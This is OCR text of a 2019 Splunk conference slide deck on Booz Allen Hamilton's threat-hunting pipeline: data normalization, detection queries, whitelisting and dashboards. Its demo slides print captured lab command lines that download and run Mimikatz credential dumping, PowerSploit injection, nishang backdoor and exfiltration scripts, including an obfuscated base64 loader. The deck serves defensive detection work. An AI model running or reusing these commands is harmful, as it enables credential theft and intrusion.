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F d During the course of this presentation, we may make forward-looking statements
| . -
O rwa r regarding future events or plans of the company. We caution you that such statements

k - reflect our current expectations and estimates based on factors currently known to us

Loo I n g and that actual events or results may differ materially. The forward-looking statements
made in the this presentation are being made as of the time and date of its live

State m e nts presentation. If reviewed after its live presentation, it may not contain current or

accurate information. We do not assume any obligation to update

any forward-looking statements made herein.

Va4

In addition, any information about our roadmap outlines our general product direction
and is subject to change at any time without notice. It is for informational purposes only,

O and shall not be incorporated into any contract or other commitment. Splunk undertakes
no obligation either to develop the features or functionalities described or to include any
such feature or functionality in a future release.

Splunk, Splunk>, Turn Data Into Doing, The Engine for Machine Data, Splunk Cloud,
Splunk Light and SPL are trademarks and registered trademarks of Splunk Inc. in the
United States and other countries. All other brand names, product names, or

trademarks belong to their respective owners. © 2019 Splunk Inc. All rights reserved.
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1. Threat Hunting and Splunk At Booz Allen

2. Difficulty Of Large-Scale Threat Hunting

AGENDA 3. Threat Hunting Loop

 Data Collection

* Hypothesis

* Investigation

* Analysis

* Improvement & Reporting

4. Challenges & Key Takeaways
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Threat Hunting with Splunk at
Booz Allen Hamilton
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Threat Hunting is Hard

High False Positive Rate

* 99.9% of what you look at is not malicious

Data Collection
* Are you collecting what you need to find evil?

Data Retention
* How far back in time can you search?

Analyst Fatigue
* Overwhelmed by data
» Difficult to verify findings

Tradeoff between data volume and hunt quality
* Hiring more people is expensive
* Less data = Less confidence
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“Scale with process and
technology, not with people”

Automation is key to
large data volumes
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Splunk at Booz Allen

Deployment

Many groups leverage Splunk
Splunk Enterprise

Platform-enabled Threat Hunting

* Deployments vary

— 1 Indexer / Search Head
— 2 Indexers, 1 Search Head

* No Forwarders
— Splunk Add-On for AWS

Threat Hunting App

© 2019 SPLUNK INC.
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Threat Hunting Loop

Traditional vs. Our Approach
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Threat Hunting Loop

How we do it in Splunk
Hypothesis Hypothesis
* Queries
o [ Z0
Investigation B Q

Data
Collection

« Saved Searches Investigation

Analysis

» Custom App

Improvement & Reporting =4 =€)
- Workflows & Dashboards Improvement &

Reporting Analysis

Data Collection
* Ingest

splunk> EEI)
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Splunk Ingest
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Data
Collection

Value Normalization

Meaning of data is important

Common Information Model (CIM)
* Great start

» Missing some fields we need

— process.command_line
— process.loaded _modules

Ingesting Data Into Splunk

processName

TargetprocessName

ImageName

childProcessName
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process_name
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File deletion event

POSSIBLE VALUES NORMALIZED VALUE

deleted cleaned
deleted
removed File-deleted

Registry key
POSSIBLE VALUES

File-deleted delkey

NORMALIZED VALUE

deleted
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«x ) Ingesting Data Into Splunk
colotion 4 Value Normalization

Possible solutions
* Splunk:

— Index time modification

SEDCMD in props.conf

— Eval statements
— Detection Logic

index=file_system action IN
(“deleted”,”cleaned”,”removed”)

* Modify before ingest:

— Normalization engine

AWS Lambda
Python script
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“Analytics should drive
data collection”

Threat Hunters should set
priority for what logs that
contain Cyber Defense Value
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[
-
Data
Collection

Data Ingest Priorities
APT Focused

Process Execution Autoruns Loaded Modules Driver / Kernel Network
w/ Arguments Objects (PCAP / 5 Tuple)
High Priority Low Priority
Key Windows Process Ngtwork Services DNS
Event Logs Connections
Process First Network Last
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-
Data
Collection

Data Ingest Priorities

Insider Threat

Process Execution Key Windows DNS AUtoruns Services / Drivers /
w/ Arguments Event Logs Kernel Objects

High Priority Low Priority

. Process Network Network
USB Insertions Connections (PCAP / 5 Tuple) Loaded Modules

» Less Concerned About Persistence
» More Concerned About Data Exfiltration
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Hypothesis

Hypothesis

Splunk Queries
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Data Model

Hypothesis CCIM - Cyber Common Information Model

Table Table List
* Collection of a type of data - Registry
- Becomes the Splunk Index name * Network
* Process
Field Name - File_System
* Descriptive Name * Scheduled_Tasks
* Drivers
Data Type » Services
* String, Int, etc .. « Account_Management
» Autoruns
Description . User
* Description of what the field represents - System
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Hypothesis

Process Table

Cyber Common Information Model

process

process.account
process.action
process.command_line
process.data_type
process.exit_code
process.loaded_modules
process.mem_used
process.parent_process_name
process.parent_process_path
process.process_guid
process.parent_process_guid
process.process_name
process.process_path

process.process_username

Count 29

account

action
command_line
data_type

exit_code
loaded_modules
mem_used
parent_process_name
parent_process_path
process_guid
parent_process_guid
process_name
process_path

process_username

string
string
string
string
string
string
string
string
string
string
string
string
string

string
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The permission level of the process (administrator, system, etc). Usually sar
Type of action performed on or by the process (create, destroy, etc.)

Full command line used to start the process

The specific type of process data for this event (running, shimcache or prefi
Exit code of process

List of all modules (full path) loaded by the process

Memory Utilization of process

Parent process name

Full path to parent process file

EDR added unique Process ID GUID

EDR added unique Parent Process ID GUID

The specific filename for the image

Full path to the process filename (without trailing executable)

Username used to create process (i.e. the user that started the process)
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Philosophy

Hypothesis

Store similar data in same table (index in Splunk)

Copy data to other tables when needed
 Autoruns Events [ File_System, Process, Registry, Autoruns

Example Data

 Autorun key that launches a base64 encoded Powershell string
— index=registry (Key Path, Key Data)
— index=process (Process Name, Command Line Arguments)
— index=autoruns (Executable, Command Line Arguments, Autoruns Type)
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"Analysts should focus on
finding evil not on data
engineering”
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Hypothesis Creation
Hypothesis (

A

\ Annoying j
Normalization makes this easier
* One query for all data sources Simple

Database of threat hunting analytics Easy
* Process must be repeatable
e

* Written to a data model
splunk> EEI)

Hypothesis
» A Splunk query that identifies a potentially malicious event
* Focus on attacker TTPs, not static IOCs

* Use automation
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Investigation

Investigation

Saved Searches
Summary Indexes
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Threat hunters hate
large data sets

Combat analyst fatigue
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Investigate

Index Pipeline Automation

@i

Investigation

Example Analytic

index=process parent_process_path="*\\powershell*" OR process_path="*\\powershell*" OR command_line IN ("*powershell.exe *",
"*powershell *")) | eval length=len(command_line)
| where length > 200

Index Pipeline
« Path that the event takes once it is ingested into Splunk

O@O Convert to JSON Picked up for processing x Sent to Splunk splunk'>
(&) 0 _

Data from client’s Data lands in S3

environment Bucket Data in CCIM Indexes
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Index Pipeline

Base Query — In Database

@i

Investigation

Script on Cron Pulls Analytics from Database

» Populates savedsearches.conf
index=process parent_process_path="*powershell*" OR process_path=""\\powershell*" OR command_line IN ("*powershell.exe *",

"*powershell *")) | eval length=len(command_line)
| where length > 200

splunk'> Run Analytic Query sp|unk'> Apply Whitelist Filter 5p|unk'> Transforms splunk'>

- T - T - T
CCIM Index Summary Index Summary Index Summary Index
Index = process Index = analytic_hits Index = analytic_hits_whitelist Index = analytic_hits_transforms
Unique
Count splunk>
- -

Summary Index
Index = analytic_hits_metrics
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Index Pipeline
Splunk Saved Search

@i

Investigation

Populates Summary Index
» Search through smaller subset of data, faster

index=process parent_process_path="*powershell*" OR process_path=""\\powershell*" OR command_line IN ("*powershell.exe *",
"*powershell *")) | eval length=len(command_line)

| where length > 200

| collect index=analytic_hits

splunk> Run Analytic Query splunk > Apply Whitelist Filter splunk> Transforms splunk >

CCIM Index Summary Index Summary Index Summary Index
Index = process Index = analytic_hits Index = analytic_hits_whitelist Index = analytic_hits_transforms
Unique
Count 3 splunk:>
- -

Summary Index
Index = analytic_hits_metrics
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Index Pipeline
Apply Whitelist

@i

Investigation

Remove Known Goods
* Reduces False Positives, Alert Fatigue
index= analytic_hits

| search NOT [| inputlookup whitelist.csv]
| collect index=analytic_hits_whitelist

splunk > Run Analytic Query splunk> Apply Whitelist Filter splunk> Transforms splunk >

- T - T - T - T
CCIM Index Summary Index Summary Index Summary Index
Index = process Index = analytic_hits Index = analytic_hits_whitelist Index = analytic_hits_transforms
Unique
Count splunk>
- -

Summary Index
Index = analytic_hits_metrics
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Index Pipeline
Apply Transforms / Collect Metrics

@i

Investigation

Saved Searches create additional

index= analytic_ hits_whitelist

Summa ry Indexes | stats count by process_name, |n€![e;<= dana|ytIC_hIt§_|\{Vhlte|ISt
. command_line s e;ls t(_:(((:jominanl_t_lnerz_t tri
¢ Ana'v’[lC Tradecraft | collect index=analytic_hits_transform | collect index=analytic_hits_metrics
* Focus on rare events | loadjob savedsearch="admin:Dark_Labs_App:Analytic 107 — transform”
5p|unk'> Run Analytic Query spIunk'> Apply Whitelist Filter 5p|unk'> splunk'>
CCIM Index Summary Index Summary Index Summary Index
Index = process Index = analytic_hits Index = analytic_hits_whitelist Index = analytic_hits_transforms
Unique
Count splunk>

Summary Index
Index = analytic_hits_metrics
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Index Pipeline Timers

@i

Investigation

Analytic Timers
* Implemented via saved searches

* Hourly cycle to pull from analytic database
» Timer based on hourly cycle evaluating the lost hour of data

Cron Schedule Populated

Python Script 0 **** Writes savedsearches.conf
Base Query 15**** index=analytic_hits

Whitelist 30*F*** index=analytic_hits_whitelst
Transforms 45 * *** index=analytic_hits_transform
Metrics 55 **** index=analytic_hits_metrics
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Analysis

Analysis

‘@ /

Sensor Sersel Threat Hunting App
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“To scale effectively, your threat
hunting platform should focus
on making the analyst’s job as

easy as possible”

Single pane of glass approach
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Analysis

Threat Hunting

Splunk App
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Last 24 hours

Raw Results After Whitelist Total Unique Results Unique Results by Category

wwwwwww

ccccc

yyyyyy

Category ¢

\\\\\\\\‘
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Analysis

Built in
Automation

Workflow Actions

index= analytic_hits source="$source$’cdm_row_id="$cdm_row_id$”
| table source, Description, project, data, TICKET_LEVEL]| script
create_jira_hal_ticket

Workflow actions
« Call python scripts

Examples
* Create JIRA Ticket
Add to Whitelist

Display process tree

Transfer for malware analysis

— Requires automated file
collection

o) (I3 '€ .conf19
© 2019 SPLUNK INC.




dest_ip: 52.179.129.229
Analysis dest_port: 443
direction: outbound
domain: hobuff.info

enrichment: { [-]
oTX: { [=]

cti_source: 0TX

|
lookup_value: hobuff.info
otx_indicator_url: https://otx.alienvault.com/indicator/domain/hobuff.info

otx_url_count: 33

Bring Additional pulse_count: 4
I nfo rmatlon I nto S p I u n k process_path: c:\users\huntadmin\appdata\local\temp\4c802a95-3818-4ddf-9cc5-68d43615b761.exe

enrichment: { [-]
VIl v1L: { [=]
cti_source: VTI
. lookup_value: 605560CA0624AABF9F53675257B9BE21
Vlrus Total vti_binary_type: PE32+ executable for MS Windows (console) Mono/.Net assembly
vti_hit_count: 49
hashes: { [-]
WhOiS MD5: 605560CA0624AABF9F53675257B9IBE21

Standard OS Processes

|OC Hits

o) (I3 '€ .conf19
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Host_Triage

Hostname (test_host"BLUE-CB-  Wildcard Search

WINTO-1")
Yesterday b
— BLUE-CB-WIN10-1

host_identifier ip_address. mac_address ¢ operating_system & architecture ¢
10.137.117.171

windows

blue-ch-win10-1

Analysis op—

st Seen (process list):

2019-09-03 03:55:54

Index Summary HAL Results
index s countfindex) ¢ source &
382144
200555
s

81596

orrelation

ost Triage

"BackgroundTransferHost.exe" -ServerNane:BackgroundTransferHost.1
“C:\Program Files\VMuare\Viware Tools\VMware VGAuth\VGAuthService. exe”
“C:\Program Files\Viare\Viware Tools\vmacthlp. exe*

\Program Files\VMware\VMvare Tools\vmtoolsd. exe®

“C:\Program Files\WindowsApps\microsof t. windowsconmunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxTsr .exe* -ServerNane:Hx, IPC.Server

*C:\Progranbata\Microsof t\Windows Defender\platform\4.18.1987. 4-0\MsMpEng. exe”

"C:\ProgranData\Microsof t\Windows Defender\platform\4.18.1988.5-0\MpCndRun. exe” SignaturesUpdateService -ScheduleJob -UnmanagedUpdate
“C:\ProgranData\Microsof t\Windows Defender\platform\4.18.1908.5-0\NisSrv. exe"

“C: \Windows\Microsof t. NET\Framework64\v4.0. 30319\NGenTask . exe" /RuntimeWide /StopEvent:620

“C: \Windows\Microsof t.NET\Framework64\v4.0. 30319\ngen.exe* uninstall “C:\Windows\assembly\NativeInages_v4.0.30319_64\Systen. Runtc259d85b#\0f28812011dca5b50d7e137b31eaedfd\System. Runt ime. WindowsRunt ime .UT . Xanl..ni..d11* /noroot /LegacyServiceBehavior

9 10 nexts

© 2019 SPLUNK INC.

splunk>



© 2019 SPLUNK INC.




=7

Improvement &
Reporting

Improvement &
Reporting

Improvement
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Report Findings

Improvement &
Reporting

Event Actions v

Add Fields to Whitelist

Sync with ServiceNow or JIRA Create JIRA

Build Event Type -

» Workflow Action = one click for an analyst to report an event

) ] Extract Fields
» Dashboard to write notes / analysis

index=analytic_hits_whitelist source="s3://bahlab.data/splunk/process/2b60432e-752d-4b36-bb11-6efaac11baed.json.gz”
cdm_row_id=“623b7414-fcd1-42cc-bf9e-7ed5babcb38b”
| dedup_raw
| eval data=_raw
| eval project="THOR”
| eval TICKET_LEVEL=“CHILD”
| eval HALID=sourcetype
| fillnull value=“No description could be parsed.” Description
| join type=left HALID
[ search index=hal earliest=1 latest=now()
| dedup HALID
| fields + HALID, Description
| table HALID, Description ]
| table source, Description, project, data, TICKET_LEVEL
| script create_jira_hal_ticket
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=/ ) Improvement

Improvement &

Reporting MetriCS

Areas for Improvement Useful Metrics
* Analytic Quality * Number of hits per analytic
* Analytic Errors « Number of analytics with hits
* New Tools or Features * Total number of events
» Data Coverage Gaps * Number of events after white list
» Data Enrichment Sources * Number of unique events
- Data Engineering Issues - Data model mismatches

« Saved search run time
* Number of events with data enrichment

splunk> EEI)
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Analytic Improvement

Improvement &

Reporting Sweet Spot for Threat Hunting

Haystack Heuristic Alert

« Haystack - index=process AND process name=powershell.exe

* Alert - index=process AND process name=powershell.exe AND
command_line="$WC=NEw-ObJECT SystEM.NeT.WEBCLIEnt;$u='"Mozilla™

* Heuristic - index= process AND process name=powershell.exe AND
command_line="*new-object system.net.webclient™

splunk> EEI)
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Improvement &
Reporting

Data
Normalization
Errors

Validate your data model

2019 SPLUNK INC.

Hunt Configuration Validation

Aug 1 through 15, 2019

Total Errors

Crowdstrike Errors
File Name &

crowdstrike/processsel fdeleted.mf
crowdstrike/event_detectionsummaryevent..mf
crowdstrike/netsharesecuritynodify.nf
crowdstrike/injectedthread.nf
crowdstrike/scheduledtasknodified.uf
crowdstrike/netsharedelete.nf

crowdstrike/netsharedelete.nf

crowdstrike/injectedthreadf romunsignednodule.mf

crowdstrike/processselfdeleted.mf

crowdstrike/processselfdeleted.mf

Error Type &
Field Error
Field Error
Field Error
Header Error
Field Error
Field Error
Field Error
Field Error
Field Error

Field Error

1,202

Table Name ¢
alert
process

share

scheduled_tasks
share

share

process
process

alert

Error Types

Type Eror
Table Eror
50N Error
Header Error

Carbon Black Errors
File Name $

carbonblack/watchlist_hit_binary_split.mf
carbonblack/binaryinfo_group_observed.mf
carbonblack/ingress_event_remotethread.nf
carbonblack/alert_watchlist_hit_ingress_binary_binary.nf
carbonblack/alert_watchlist_hit_query_process.nf
carbonblack/watchlist_storage_hit_binary_split.nf
carbonblack/alert_watchlist_hit_query_binary.mf
carbonblack/alert_watchlist_hit_ingress_process_process.mf
carbonblack/watchlist_storage_hit_process_split.mf

carbonblack/watchlist_hit_binary_split.mf

Field Error

Eror Type &
Header Error
Header Error
Header Error
Header Error
Header Error
Header Error
Header Error
Header Error
Header Error

Header Error

Field Name &
hashes
hashes.
hashes
hashes
hashes
hashes
hashes
hashes.
hashes

hashes.

9 10 nexts>
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Improvement &
Reporting

pyHAL Metrics

List of pyHALS running against the data in this VPC can be found in the STAGING branch of the HAL github repo.

Last 24 hours

Number of pyHAL Errors Avg Run Time per pyHAL Number of pyHALS with Hits

Sorted by Longest Avg Run Time

HAL ¢ avg_time_secs & count
HALBO25_STGO105 5.412900949466979 1366
HALG192_5160233 0.34485818914004734 560
HALB4SS_SIGO756 0.26794461820806775 560
HALD143_SIG188 ©.2638946886573519 560
pyHAL Avg Run Time
Max Run Time Overlay
. 210
T .

Improve Splunk
performance

HALG537_SIGA755 0.20811659149246255 560

2 3456 7 8 9 10 next»

NN NN N NN\

avg_time_secs.

avg._time_secs
ax_time_secs

F) 5 2 59 38¢% 8 2 e g 47 788888 gg;g'ggg

il EEtiEE il i PRiiiid

SRR IEERREE 588 £ i EERERE

$443 el 1132 H i1 S
HAL
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=4 Data Funnel

Improvement &

Reporting Make Data Manageable

Client Networks Threat Hunting Team
* Max - 120,000 Endpoints (35 TB / Day) « 2 to 4 analysts for 4 to 8 weeks
* Typical — 30,000 to 50,000 Endpoints (2 TB /
Day)

Raw Results After Whitelist Total Unique Results

48868152 40232431 51,944

splunk> EEI)



Improvement &
Reporting

Challenges

Things We Learned

Along The Way

My mind is like my internet
browser;

At least 19 open tabs,
3 of them are frozen,

and | have no clue where
the music is coming from.

1. Data Volumes
2. CIM Coverage

3. Performance

© 2019 SPLUNK INC.

 Joins, Lookup Tables, Saved Searches

4. Analyst Fatigue
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Improvement &
Reporting

Key Takeaways

How we find evil

BUT WHEN SHE TRACED THE
KILER'S [P ADDRESS.-- IT WAS

INTHE 192.168/16 BLOCK!

Useful, normalized data
Analytic development
Automation

Single Pane of Glass
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Q&A

Daniel Rossell | Sr Threat Analyst
Ashleigh Moriarty | Sr Threat Analyst
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Appendix

Sensor sensel
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Index Pipeline Analytic Example

Base Query — In Database

index=process (parent_process_path="*\\powershell*" OR process_path="*\\powershell*" OR command_line IN ("*powershell.exe *","*powershell *")) | eval
length=len(command_line) | where length > 200

Splunk Saved Search

<Base Query> | collect index=analytic_hits

Apply Whitelist

index=analytic_hits | search NOT [| inputlookup whitelist.csv] | collect index=analytic_hits_whitelist

Apply Transforms

index=analytic_hits_whitelist | stats count by Process_Name, Command_Line

| loadjob savedsearch="admin:Dark_Labs_App:Analytic 107 — transform"

splunk> EEI)



Backup Slides
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Demo 1: Analytic Hits Dashboard

Hu lyti wn nts

1,890,092 13 248

Category &




HALID
s Name ¢

Demo 1:

Analytic Hits
Dashboard

Drill Down to Events for
Specific Analytic

V2444

Drill down on Analytic 10

* Long PowerShell Commands

© 2019 SPLUNK INC.

Hunt Analytic Results - Drilldown To Raw Events

HHHHHHHH

nnnnnnnnnnnnnnnnnn

HHHHH
& Description &

Category *

eeeeeeeeee

\\\\\\\\\\‘
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C:\Windows\system32\cmd.exe /c powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C "sal a New-Object;iex(a I0.StreamReader((a I0.Compression.DeflateStream([I0.MemoryStream]

[Convert]: :FromBase64String('cG93ZXJzaGVsbC51eGUgIliYge@1FWCAoTmV3LU9iamVjdCBOZXQuY2ViQ2xpZW50KS5Eb3dubGOhZFNAcmluZygnaHROCHMELY 9y YXcuzZ210aHVidXNLemNvbnR1bnQuY29tL 2NseW1iM3IvUGI3ZXITaGVsbCItYXNOZXIvSW52b2t1LUTpbW1rYXR6LO1udm9rZS1NaW1pa2F@
[I0.Compression.CompressionMode ]: : Decompress)), [Text.Encoding]: : ASCIT)).ReadToEnd()"

New Search

Save As v Close

Last 24 hours - n

* Smart Mode v

+ 606 events (9/11119 2:00:00.000 PM to 9/12/19 2:17:11.000 PM)  No Event Sampling v
Events Patterns Statistics (75) Visualization

50PerPage™  #Format  Preview >

command_line ¢

C:\Windows\system32\cnd.exe /c powershell.exe "& (IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowersShellMafia/PonersSploit/master/CodeExecution/Invoke-Dl1Injection. ps1'); Invoke-Dl1Injection -ProcessID

C:\Windows\system32\crd.exe /c powershell.exe "& {IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master /Exfiltration/Get-TimedScreenshot.ps1');Get-Timedscreenshot -Path C:\Ten)
C:\Windows\system32\cmd.exe /c powershell.exe "& {IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz. ps1');Invoke-Mimikatz -DumpCreds}"
. C:\Windows\systen32\cmd.exe /c powershell.exe "& {IEX S

(New-Object Net.WebClient).DownloadString(’https://raw.githubusercontent.com/samratashok/nishang/master/Backdoors/Add-Scrns: door.ps1"); Add-Scr -PayloadURL http://12)

C:\Windows\systen32\crd.exe /c powershell.exe "& {IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Utility/Add-Exfiltration.ps1');Add-Exfiltration ~ScriptPath C:\Get-Information.

C:\Windows\systen32\cmd.exe /c powershell.exe "& {IEX (New-Object Net.WebClient).DownloadString('https

://raw.githubusercontent.com/xorrior/EmailRaider/master/MailRaider .ps1'); Invoke-SendMail -Targets $Emails -URL "http://127.0.0.1/evil.
href='URL'>1ink</a> out!"}"

i i "
C:\Windows\system32\cmd.exe /c powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C "sal a New-Object;iex(a I0.StreamReader((a I0.Compression.DeflateStream([IO0.MemoryStream]
[Convert]: :FromBase64String('cG93ZXJzaGVsbC51eGUgIiYge@lFWCAOTmY3LUIiamVjdCBOZXQuY2ViQ! 3

(cHM6Ly 9yYXcuZ212aHVidXN1cmNvbnR1bnQuY29tL 2NseW1 iM3TvUGI3ZXTTaGVsbCItYXNOZXTvSH52b2t 1LUTpbW1 rYXRELOLudnIrZS 1NaW1 pa2Fe
[10.Compression. Compressiontode 1: :Decompress)), [Text. Encoding]: :ASCIT)).ReadToEnd()"

ial = it bl o il

[} C [l
B I n n e d by O m m a n d I I n e powershell.exe "& {IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/fun/Invoke-VoiceTroll.ps1');Invoke-Voicetroll 'HAL-76'}"

ponershell.exe "& (IEX (New-Object Net.WebClient).DownloadString('https://raw

_githubusercontent. con/EmpireProject/Empire/master/data/module_source t,

.ps1'); -Domain HAL-76.com -Username HAL-76 -Password|

powershell.exe "& (IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent. con/EmpireProject/Empire/master/data/module_source/situational awareness/host/Invoke-WinEnum.ps1'); Invoke-WinEnum -User "fakeuser")"

powershell exe "& {IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-DllInjection.ps1');Invoke-Dl1Injection -ProcessID 5678 -D11 evil.dll}"
V2444

ponershell.exe "& (IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-TimedScreenshot.ps1');Get-TimedScreenshot —Path C:\Temp\ -Interval 38 -EndTime 14:00)

powershell.exe "& {IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Backdoors/Add-Scr .ps1');Add-:

T -PayloadURL http://127.€.0.1/evil.ps] -Argunents "ev
powershell.exe "& (IEX (New-Object Net.WebClient).DownloadString('https://raw

.githubusercontent. con/samratashok/nishang/master/Utility/Add-Exfiltration.ps1');Add-Exfiltration -ScriptPath C:\Get-Information.psl -FilePath C:\test\Get-Infor
.
BaSe64 el I‘ od ed Strl | lg powershell.exe -Nof -Nop -NonI -ExecutionPolicy Bypass -C "sal a New-Object;iex(a 10.StreamReader((a I10.Compression.DeflateStream([I0.MemoryStream]

[Convert]: :FromBase645tring('cG93ZXJzaGVsbC51eGUgIiYge@lFWCAOTmY3LUYiamVjdCBOZXQuY2ViQ: GIhZFN@cmluZy.
[10.Compression.CompressionMode ]: :Decompress)), [Text.Encoding]: :ASCII)).ReadToEnd()"

cHM6LY 9yYXcuz219aHVidXNLemNvbnR1bnQuY29tL2NseW1iM31vUGI3ZXITaGVsbCItYXNOZXIvSHS2b2t1LUTpbW1rYXR6LO1udmSrZS1NaW1 pa2F el

powershell.exe -c "$ALlProtocols = [System.Net.SecurityProtocolType]'Ss13,Tls,T1s11,T1s12'; [System.Net.ServicePointManager]: :SecurityProtocol = $AllProtocols; $pdf = $Env:temp + '\baseline_test.pdf'; $exe = $Env:temp + 'baseline_test.ex
fileshare.blue. hunt. lab/baseline-HAL/resources/module_5/baseline_test.pdf' -OutFile $pdf; Invoke-WebRequest -Uri 'http://blue-fileshare.blue.hunt.lab/baseline-HAL/resources/module_5/baseline_test.exe' -OutFile $exe; & Sexe"

powershell.exe - "$ALLProtocols = [System.Net.SecurityProtocolType]'Ssl3,Tls,T1s11,T1s12'; [System.Net.ServicePointManager]::SecurityProtocol = $AllProtocols; Invoke-HebRequest -Uri 'http://ipv4.download. thinkbroadband.com/5M8.zip' -Out]
powershell.exe -c "$secure_password = ConvertTo-SecureString 'password’ -AsPlainText -Force; $test_user_creds = New-Object System.Management.Automation.PSCredential ('test_user', $secure_password); for ($i=0; $i -le 10; $i=+) (start-prog]

o) (I3 '€ .conf19
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powershell.exe "& {IEX (New-Object

Net.WebClient).DownloadString( 'https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-
Mimikatz/Invoke-Mimikatz.psl');Invoke-Mimikatz -DumpCreds”

Demo 1:

Cyber Chef

Integration

Dashboard with Cyber
Chef Splunk Add-On

S0/

Decoded string

* |Invoke-Mimikatz

© 2019 SPLUNK INC.

Last build: 3 years ago Options X About / Support @

length: 256
lines: 4

{5 Clear /O | Reset layout

Recipe Input

©G932XJzaGVsbC51eGUgIi¥ge0l1FWCAOTMV3LU9ianVjdCBOZXQuV2ViQ2xpZW50KS5Eb3dubGIhZFNOcmluZygnaHROCHM6Ly!
yY¥XcuZ210aHVidXN1lcmNvbnR1bnQuY29tL2NseWliM3TvUGI32XITaGVsbCItYXNOZXIVSW52b2t1LU1pbWlrYXR6L01udm9rz
1NaWlpa2F0ei5wczEnKTtJbnZzva2UtTWltaWthdHogLUR1bXBDcmVkeyI=

From Base64 [

«w

Alphabet A-Za-z0-9+/=

Remove non-alphabet chars

time: 2ms
Output lingth: 19% [¥] savetofile g Move output to input Undo
ines:

powershell.exe "& {IEX (New-Object
Net.WebClient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-
Mimikatz/Invoke-Mimikatz.psl');Invoke-Mimikatz -DumpCreds”

o) (I3 '€ .conf19



host_identifier

1 Value, 100% of events Selected Yes
Reports

Top values Top values by time Rare values
Events with this field

Values Count %
JARVIS-CB-WIN10 8 100%

No

Demo 1:

Obtain
Hostname

For Endpoint Associated
with Obfuscated Mimikatz
Execution

V2444

Copy host_identifier

© 2019 SPLUNK INC.

Chrome File Edit View History Bookmarks People Window Help = 78% 4> Thu2:34 PM

¥ CyberChef

Search | Splunk 7.2.3 Xy Hunt Team (DarkLabs) | Micr

(& A Not Secure = dta_splunk.boozallencsn.com, se 2 arch’

New Search

alx "event_tags{}"

/c powershell exe -NoE -Nop -N:
937X Jzal eGUgT1YgenlFh

Save As v Close

pyHAL="event_tags{}' | mvexpand pyHAL | rex field=pyHAL '((?<HAL>HAL) @+(2<ID>.x))" | eval HALID=HAL + ID | HALID=HAL10 command_line="C:\\Windows\\system32\\crd. exe [ENESELENTIERS
onl -ExecutionPolicy Bypass -C \"sal a New-Object;iex(a I0.StreamReader((a I0.Compression.DeflateStrean(LI0.MemoryStream][Convert]: : FromBase64String

mV3LU9iamyjdCBOZXQuY2ViQ2xpZW5eK SSEb3dubGShZF Nacm1uZygnaHRACHM6L y9y YXcuz218aHVi dXN1emNvbnR1bn t12NseW11M3TVUGI3ZXTTaGYShCItYXNOZX TVSH52b2t 1LUTpbW1 rYXREL81udmIrZSTNaW

1pa2F@ei5wczEnKTtIbnZva2UtThltaWthdHogLUR1bXBDcmVkeyI="), [10. Compression. CompressionMode] ompress)), [Text.Encoding]: :ASCII)).ReadToEnd(O\""

+ 8 events (9/1119 2:00:00.000 PM to 9/12/19 2:28:21.000 PM)  No Event Sampling ¥

Events(8)  Pstterns  Statistics

Format Timeline v — Zoom Out

< Hide Fields All Fields

SELECTED FIELDS

@ command_line 1

a event_tags() 2

ahost 1

a meta.source_system 1
a process_name 1

a source 4

a sourcetype 1

INTERESTING FIELDS

a account 1

a action 1

a cdm_row_id 8

a enrichmentVTl.cti_source 1

a enrichmentVTLIookup_value 1
a enrichmentVTIvti_binary_type 1
# enrichmentVTlvti_hit_count 1
a event_timestamp 4

aHAL 1

a HALID 1

@ hashes.MD5 1

a hashes.SHA256 1

a host_identifier 1

#1D 1

a index 1

® Smart Mode v

Visualization

1 hour per column

List v «# Format 20 Per Page v

Time Event

912119 =l
12:28:50.000 PM account: BLUE\huntadmin
action: start
cdm_row_id: @bcedc8b-aab9-44b5-adc6-9adca3q38513
command_line: C:\Windows\system32\cnd.exe /c powershell.exe -NoE -Nop -Nonl -ExecutionPolicy Bypass -C "sal a New-Object;iex(a 10.StreamReader((a 10.Compressio
[Convert]: :FromBase64String( ' cG337XTzaGVshC5LeGUgT i YgedlFNCAOTNY3LU91 anVdCBOZXQUV2Vi Q2xpZW50K SSEb3dubGIhZFNOCcm] uZygnaHROCHMGLY 9y YXcuZ210aHVi dXNLemNvbnR1bnQuY29tL 2NseW1 iM3TVUG937
[10.Compression.CompressionMode]: :Decompress)), [Text.Encoding]: :ASCI1)).ReadToEnd()"
enrichment: { [+]
3}
event_tags: [ [+]
1

event_timestamp: 2019-29-12 16:12:02
host_identifier
1Value, 100% of events Selected | Yes | No

Reports
Top values Top values by time Rare values

Events with this field

Values

JARVIS-CB-WIN1@

o) (I3 '€ .conf19




Latest Rare command line

command_line ¢

powershell.exe -c "Get-Process | ?{$_.Description -like \"*virus\"}"

powershell.exe -c "Get-WmiObject -Namespace root\SecurityCenter2 -class AntiSpywareProduct"

powershell.exe -c "Get-WmiObject -Namespace root\SecurityCenter2 -class AntiVirusProduct"

powershell.exe -c "Get-WmiObject -Namespace root\SecurityCenter2 -class FirewallProduct"

quser

quser /SERVER:JARVIS-CB-WIN10

quser /SERVER:localhost

qwinsta

reg query "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell"

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"

Demo 1:

Host Triage
Dashboar

Enter Host Name

9 SPLUNK INC.

splunk>enterprise App: Dark_Labs_App ¥

Search AATH Platform Monitoring » Hunt Analytic Library ¥ HAL Results » Hunt Plan~ Analyst Dashboards ¥

Host_Triage

Hostname (test_host "BLUE-CB- Wildcard Search

'WIN10-1")
